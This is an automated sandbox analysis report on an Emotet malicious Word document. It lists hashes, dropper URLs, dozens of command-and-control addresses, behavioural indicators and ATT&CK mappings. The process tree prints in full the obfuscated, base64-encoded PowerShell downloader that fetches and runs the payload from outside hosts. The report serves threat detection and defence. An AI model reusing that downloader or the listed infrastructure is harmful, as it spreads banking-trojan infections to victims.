emotet | 583b4dfe8c04dc9d5fc819aeddb2d215efad71a86643bcb571c18cb0d06b767e

General

Target
emotet_e3_583b4dfe8c04dc9d5fc819aeddb2d215efad71a86643bcb571c18cb0d06b767e_2020-08-18__060014._doc.doc
Size 234KB
Sample200818-lc92xbhgfa
SHA256 583b4dfe8c04dc9d5fc819aeddb2d215efad71a86643bcb571c18cb0d06b767e
MD5 61a9bff307add6823f1f64987d268a86
SHA1 ffb11247e39ecf50756913de82088c759db92e7b
SHA512 93fa3fef9e7db435d349fffc4dd2a6943e87947d6faa65068a627cc28cd804c5fc6e9080ab536b989ef9f7cc89a19f9e20bdbba28d74c0948db73ffdc511f9d8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://identisoft.pt/istore/uyg0iy068972/
exe.dropper
http://digitalumesh.tech/cgi-bin/mUl/
exe.dropper
http://cidadehoje.pt/wp-includes/mDobpkdtbyht707/
exe.dropper
http://conferenceroom.ge/wp-content/kEUjjuivo101725/
exe.dropper
http://www.xindisk.com/w48o/TZJS/

Extracted

Family

emotet

C2

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	856	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3876-14-0x0000000002060000-0x000000000206C000-memory.dmp	emotet
behavioral2/memory/3876-14-0x0000000002060000-0x000000000206C000-memory.dmp	emotet
behavioral2/memory/3644-17-0x00000000004E0000-0x00000000004EC000-memory.dmp	emotet
behavioral2/memory/3644-17-0x00000000004E0000-0x00000000004EC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2088	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3876	Xa00ecv.exe
3644	Windows.Perception.Stub.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\SyncProxy\Windows.Perception.Stub.exe	Xa00ecv.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2088	powersheLL.exe
2088	powersheLL.exe
2088	powersheLL.exe
3644	Windows.Perception.Stub.exe
3644	Windows.Perception.Stub.exe
3644	Windows.Perception.Stub.exe
3644	Windows.Perception.Stub.exe
3644	Windows.Perception.Stub.exe
3644	Windows.Perception.Stub.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3876	Xa00ecv.exe
3876	Xa00ecv.exe
3684	WINWORD.EXE
3684	WINWORD.EXE
3644	Windows.Perception.Stub.exe
3644	Windows.Perception.Stub.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 3876	2088	powersheLL.exe	71
PID 2088 wrote to memory of 3876	2088	powersheLL.exe	71
PID 2088 wrote to memory of 3876	2088	powersheLL.exe	71
PID 3876 wrote to memory of 3644	3876	Xa00ecv.exe	75
PID 3876 wrote to memory of 3644	3876	Xa00ecv.exe	75
PID 3876 wrote to memory of 3644	3876	Xa00ecv.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_583b4dfe8c04dc9d5fc819aeddb2d215efad71a86643bcb571c18cb0d06b767e_2020-08-18__060014._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3684

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUADUAaQByADIAMgB3AD0AKAAnAEcAMgA0AGUANgBoACcAKwAnADUAJwApADsAJgAoACcAbgBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQB0AFkAcAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAAnACsAJwB0AGwAcwAnACsAJwAxADEALAAnACsAJwAgACcAKwAnAHQAbABzACcAKQA7ACQAVABwAHcAbwAxAGIAMgAgAD0AIAAoACcAWABhADAAMABlAGMAJwArACcAdgAnACkAOwAkAEIAMwA2AHoAaAA1ADYAPQAoACcATQBuAGMAJwArACcAMgA1AHcAagAnACkAOwAkAFQAcABoAG0AdQB6AHkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9AE8AZgAnACsAJwBmAGkAJwArACcAYwBlADIAMAAxACcAKwAnADkAJwArACcAewAwAH0AJwApAC0ARgAgACAAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFQAcAB3AG8AMQBiADIAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFYAOABkADUANwB0AGkAPQAoACcAUAAnACsAJwBlACcAKwAnAHMAegBkADMAZQAnACkAOwAkAE8AMABhAHoAbwBtAG8APQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAGkAZQBuAFQAOwAkAEgAMQA2AHcAZQA1AGgAPQAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBpAGQAZQBuAHQAaQBzAG8AJwArACcAZgAnACsAJwB0AC4AJwArACcAcAAnACsAJwB0AC8AJwArACcAaQBzAHQAbwByAGUALwB1AHkAZwAwAGkAJwArACcAeQAnACsAJwAwADYAJwArACcAOAAnACsAJwA5ACcAKwAnADcAMgAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBkAGkAZwAnACsAJwBpACcAKwAnAHQAJwArACcAYQBsAHUAbQBlACcAKwAnAHMAaAAuAHQAZQAnACsAJwBjAGgAJwArACcALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AbQBVAGwALwAqAGgAdAB0AHAAOgAvAC8AYwBpACcAKwAnAGQAYQBkAGUAaABvACcAKwAnAGoAZQAuAHAAdAAvACcAKwAnAHcAcAAtAGkAbgBjAGwAJwArACcAdQBkAGUAcwAvAG0ARABvAGIAcABrACcAKwAnAGQAdAAnACsAJwBiACcAKwAnAHkAaAB0ADcAMAA3AC8AKgAnACsAJwBoAHQAdABwADoALwAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAGYAZQAnACsAJwByACcAKwAnAGUAbgBjAGUAJwArACcAcgAnACsAJwBvAG8AbQAnACsAJwAuAGcAZQAnACsAJwAvAHcAcAAnACsAJwAtAGMAbwBuACcAKwAnAHQAZQBuAHQALwBrAEUAJwArACcAVQBqAGoAdQBpAHYAbwAnACsAJwAxADAAMQA3ADIAJwArACcANQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwB3AHcAdwAuAHgAaQAnACsAJwBuACcAKwAnAGQAaQBzAGsALgBjAG8AbQAvAHcANAA4AG8ALwBUAFoAJwArACcASgBTACcAKwAnAC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAeQBwAF8ANwA4AGMAPQAoACcAWAAyAHgAJwArACcAcwBmACcAKwAnAGQAeQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGkAdwA1AHYAYwBjACAAaQBuACAAJABIADEANgB3AGUANQBoACkAewB0AHIAeQB7ACQATwAwAGEAegBvAG0AbwAuACIAZABPAHcAYABOAEwAbwBBAEQAZgBgAEkAbABFACIAKAAkAEMAaQB3ADUAdgBjAGMALAAgACQAVABwAGgAbQB1AHoAeQApADsAJABVAF8AZQBoADAAMwAxAD0AKAAnAE4AJwArACcAbQBlAGQAbQBnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFQAcABoAG0AdQB6AHkAKQAuACIAbABlAE4AYABnAFQASAAiACAALQBnAGUAIAAzADQAMgA0ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAVABwAGgAbQB1AHoAeQApADsAJABKAHMAZwBnAGoAZAA5AD0AKAAnAFIAOAAnACsAJwBlACcAKwAnADgAMgBvAHMAJwApADsAYgByAGUAYQBrADsAJABFADgAZQB4ADgAMQBzAD0AKAAnAFgAcQB1ACcAKwAnADQAMABkADIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGoAMwB3AHMAZQB0AD0AKAAnAEYAJwArACcAbgBrADYAdgB4ADQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\SysWOW64\SyncProxy\Windows.Perception.Stub.exe
    "C:\Windows\SysWOW64\SyncProxy\Windows.Perception.Stub.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2088-8-0x00007FFD1B540000-0x00007FFD1BF2C000-memory.dmp

Download

memory/2088-9-0x0000016F697F0000-0x0000016F697F1000-memory.dmp

Download

memory/2088-10-0x0000016F69B20000-0x0000016F69B21000-memory.dmp

Download

memory/3644-17-0x00000000004E0000-0x00000000004EC000-memory.dmp

Download

memory/3684-0-0x00007FFD230E0000-0x00007FFD237A6000-memory.dmp

Download

memory/3684-5-0x0000023B3B64B000-0x0000023B3B65B000-memory.dmp

Download

memory/3876-14-0x0000000002060000-0x000000000206C000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads